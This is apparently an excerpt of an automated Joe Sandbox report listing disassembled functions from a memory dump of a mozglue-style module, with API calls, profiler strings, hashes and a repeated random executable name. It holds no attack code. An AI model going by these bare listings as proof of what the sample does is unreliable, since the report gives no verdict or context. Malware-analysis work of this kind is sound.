Instruction ID: eb48b19aaf22722efe839f98346cb6202486f825abd32b4c049e7097f1e7e32c
Opcode Fuzzy Hash: bdaf76e2ffeb9457bc9cf5b82f5999864e20b9ba9c37be1af16b0203cfcca132
Instruction Fuzzy Hash: 86614775B042459FD701CF19C880A9ABBF1BF4A318F28C5A9D8599BB52C331EC56CBA1

Function 6CDFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CDFB127), ref: 6CDFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CDFB4E4

Strings

pid:, xrefs: 6CDFB4DE

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 99ad8ab1cd7e0aa2ee11d741ad703bb14b84777984acf26becae3a417638904d
Instruction ID: be3472a7c7fb6372ecd3090c82c333f07a75aca53c12d3db83439f1c57927a86
Opcode Fuzzy Hash: 99ad8ab1cd7e0aa2ee11d741ad703bb14b84777984acf26becae3a417638904d
Instruction Fuzzy Hash: D6312571A01208EFDB00DFA9D980AEEB7B5FF04308F55052DD8A167B91D735E94ACBA1

Function 6CDBBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CE07A3F), ref: 6CDBBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CE07A3F), ref: 6CDBBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CE07A3F), ref: 6CDBBF7E

Strings

l, xrefs: 6CDBBF84

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: l
API String ID: 4279176481-1057362689
Opcode ID: ab06d07f7f598fe67facc49ce798122a8a611a3addaf3cbb916df7c4fa0349dd
Instruction ID: 294b72ff1747672e818b0fa5e8953c161f1c5a5ecd6a52573cc03b3c25005c82
Opcode Fuzzy Hash: ab06d07f7f598fe67facc49ce798122a8a611a3addaf3cbb916df7c4fa0349dd
Instruction Fuzzy Hash: 09119F79605A048FD729CF1CD599A66FBF8FB59304355885DE98A8BB50C731E804CB90

Function 6CDEE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDEE577
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEE584
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CDEE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CDEE5A1, 6CDEE5CC, 6CDEE5FF, 6CDEE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CDEE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CDEE826, 6CDEE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CDEE722, 6CDEE750, 6CDEE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CDEE777

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ad447c76bfef0b3164b7ffca9d57740212d3b52937c1ea9dbf4fe129b942004e
Instruction ID: 90c3579f99eea137134e4b6383daa1412a0939fbb02dabef70329670f5795d61
Opcode Fuzzy Hash: ad447c76bfef0b3164b7ffca9d57740212d3b52937c1ea9dbf4fe129b942004e
Instruction Fuzzy Hash: B911C431A046A8DFCB009F14C849B69FBB4FBC9728F110619E84687A50C7BCA905CFD1

Function 6CDF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF0CD5

Part of subcall function 6CDDF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDDF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF0D40
free.MOZGLUE ref: 6CDF0DCB

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

free.MOZGLUE ref: 6CDF0DDD
free.MOZGLUE ref: 6CDF0DF2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 91cebea2fab37d33878e465a373a5b73bfc858e37a625d04001695c8210d18de
Instruction ID: 6080cdce21f2d2f291cbcf0df6848282f1db3c27a22f56b89cdc85473fe71b03
Opcode Fuzzy Hash: 91cebea2fab37d33878e465a373a5b73bfc858e37a625d04001695c8210d18de
Instruction Fuzzy Hash: 82412975A08780CBD320CF29C44179AFBE5BFC5754F118A2EE8E887B61D770A446CB92

Function 6CDB1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDB17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CDB18EE
free.MOZGLUE(?), ref: 6CDB1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDB194C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 2827b76dc7a59d1f36a78e4247b1e99f3a42e63fd12170aae1303d6b34d7f8f1
Instruction ID: dec028971be6271086b702dda42a55d58190a884dc261d94c757c53978e2c58a
Opcode Fuzzy Hash: 2827b76dc7a59d1f36a78e4247b1e99f3a42e63fd12170aae1303d6b34d7f8f1
Instruction Fuzzy Hash: 0781E4B4A10315DFCB08CF68D8949AEBBB1FF89314F04452CE852AB764D730E959CBA1

Function 6CDC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CDC5D40
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5D67
__aulldiv.LIBCMT ref: 6CDC5DB4
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5DED

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: ac39aaf5b16003896dccf6bc688d9a4458aaaf02ba024a9964cc38fed89b642e
Instruction ID: 29434441b6f25bc22c4434f88774ff00f43c340f568315d7ae13e580bd5668d3
Opcode Fuzzy Hash: ac39aaf5b16003896dccf6bc688d9a4458aaaf02ba024a9964cc38fed89b642e
Instruction Fuzzy Hash: E5516E71F002298FCF08CFA8C954BAEBBB6FB85304F194629D811A7760D7786945CBD1

Function 6CDACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CDACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CDACF4E

Strings

0, xrefs: 6CDACF30

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 525422b360e4b6277e440de9142d3a3105ba2e443a1d65cf7010f53d51bd3e3f
Instruction ID: 759c0e49c77efeb26871c787e93c10090e4c38472c2df3762820f627078345cd
Opcode Fuzzy Hash: 525422b360e4b6277e440de9142d3a3105ba2e443a1d65cf7010f53d51bd3e3f
Instruction Fuzzy Hash: 97512371A04256CFCB00CF18C490AAABBB5EF99314F19859DD8595F751D732ED06CBE0

Function 6CDBAE60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E744), ref: 6CDBAE8C
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDBAEC9
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDBAF8C

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDBAEED

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 2978645861-4197491586
Opcode ID: 0cbdd0d2fac02c258c7533388c20913e33854f93c3284f23553ed50fe982477c
Instruction ID: 3b75e6c4fc410bbb2874c248967188d48b6f60059715e8b8b730bec7848a3085
Opcode Fuzzy Hash: 0cbdd0d2fac02c258c7533388c20913e33854f93c3284f23553ed50fe982477c
Instruction Fuzzy Hash: AB418FF1A056148FD705CF28C890B9477F2EB89314F198169F85EAB7B2D735E841CB90

Function 6CE077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CE07829

Part of subcall function 6CDDCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CDA31A7), ref: 6CDDCC45
Part of subcall function 6CDDCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CDA31A7), ref: 6CDDCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CE0789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CE078CF

Part of subcall function 6CDA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
Part of subcall function 6CDA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 2936f6cd637b8bc0a39a3758380a064bfba72c832deca78cde5af03d5d2aacb2
Instruction ID: 3af1578d2bed95a1e03f129a09285b85ef6d763ce6120872a9c793bf7e98af22
Opcode Fuzzy Hash: 2936f6cd637b8bc0a39a3758380a064bfba72c832deca78cde5af03d5d2aacb2
Instruction Fuzzy Hash: 9141B071A047469FD300DF29C48056BFBF4FF8A254F204A2DE4A987650DB70E55ACBE2

Function 6CDE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CDE82BC,?,?), ref: 6CDE649B

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDE64A9

Part of subcall function 6CDDFA80: GetCurrentThreadId.KERNEL32 ref: 6CDDFA8D
Part of subcall function 6CDDFA80: AcquireSRWLockExclusive.KERNEL32(6CE2F448), ref: 6CDDFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDE653F
free.MOZGLUE(?), ref: 6CDE655A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 60ee438ff6b196f9a728eb5858a8e1b21e16168355cc8ac219ec0132b90fcff0
Instruction ID: be544575b1e56693ee3b15fade661a6d5c187e4766d958b5de7bd52c08f4ebda
Opcode Fuzzy Hash: 60ee438ff6b196f9a728eb5858a8e1b21e16168355cc8ac219ec0132b90fcff0
Instruction Fuzzy Hash: B4318FB5A043459FC700CF24D880A9EBBF4FF89314F01482EE99A97751DB34E919CB92

Function 6CDDFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?), ref: 6CDDFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?), ref: 6CDDFFF5
free.MOZGLUE(?,?,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?), ref: 6CDE001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CDFD019,?,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?), ref: 6CDE002A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: b1eb6028471044408c8980ee945ebafc9ebb8455f7c994844cb26ee2cbb4b6bd
Instruction ID: 3342782386917b9f27e1db40b78f1d482bc90aa44f75125727cc2c3fc793eb8e
Opcode Fuzzy Hash: b1eb6028471044408c8980ee945ebafc9ebb8455f7c994844cb26ee2cbb4b6bd
Instruction Fuzzy Hash: 2721C1B2F002155BD7189FB89C948AEB7BAEB893247250338E425D7790EA70AD0587A1

Function 6CDBB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDBB4F5
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDBB502
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDBB542
free.MOZGLUE(?), ref: 6CDBB578

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9e37113524bdadb671dee77a35e626e11361200c05cdddccbae03b6af8df4139
Instruction ID: 864bdf8cd4135c69deb7d67c45fbbfb5b7a6bca93bc0195adc0a0a4241b70093
Opcode Fuzzy Hash: 9e37113524bdadb671dee77a35e626e11361200c05cdddccbae03b6af8df4139
Instruction Fuzzy Hash: 08110370E04B45D7D3118F29C940BA1B3F4FF96718F10970AE88B63A11EBB9B1C58792

Function 6CDE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CDAF20E,?), ref: 6CDE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CDAF20E,00000000,?), ref: 6CDE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CDE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CDE3E0E

Part of subcall function 6CDDCC00: GetCurrentProcess.KERNEL32(?,?,6CDA31A7), ref: 6CDDCC0D
Part of subcall function 6CDDCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CDA31A7), ref: 6CDDCC16

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: caf10bc6f8b8462193cb8373eae90cd55434efcbec804bc8f98a4d607024ab35
Instruction ID: b8e732c8553483c375aaefbdc0915dd9a00dd382b356eb0382b0515ab4582a4e
Opcode Fuzzy Hash: caf10bc6f8b8462193cb8373eae90cd55434efcbec804bc8f98a4d607024ab35
Instruction Fuzzy Hash: 89F08271A002087BE700AB54DC41EBB373DEB46624F040020FE0857700D639FD2586F7

Function 6CDF20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CDDFBD1), ref: 6CDF20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CDDFBD1), ref: 6CDF20DA
free.MOZGLUE(00000000,?,6CDDFBD1), ref: 6CDF20F1

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8b4950a019108b298481d085e820e25d7e419e4a7875e12503f2ddb02c3ea175
Instruction ID: 39ded8a138b6040dd22635f1557cf152ecb23408216551bb89fc46cf2f3e0825
Opcode Fuzzy Hash: 8b4950a019108b298481d085e820e25d7e419e4a7875e12503f2ddb02c3ea175
Instruction Fuzzy Hash: E9E06C316006149BC6209F25980868EB7FDFF862687150516E547C3710D775F54786D5

Function 6CDF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CDF85D3

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

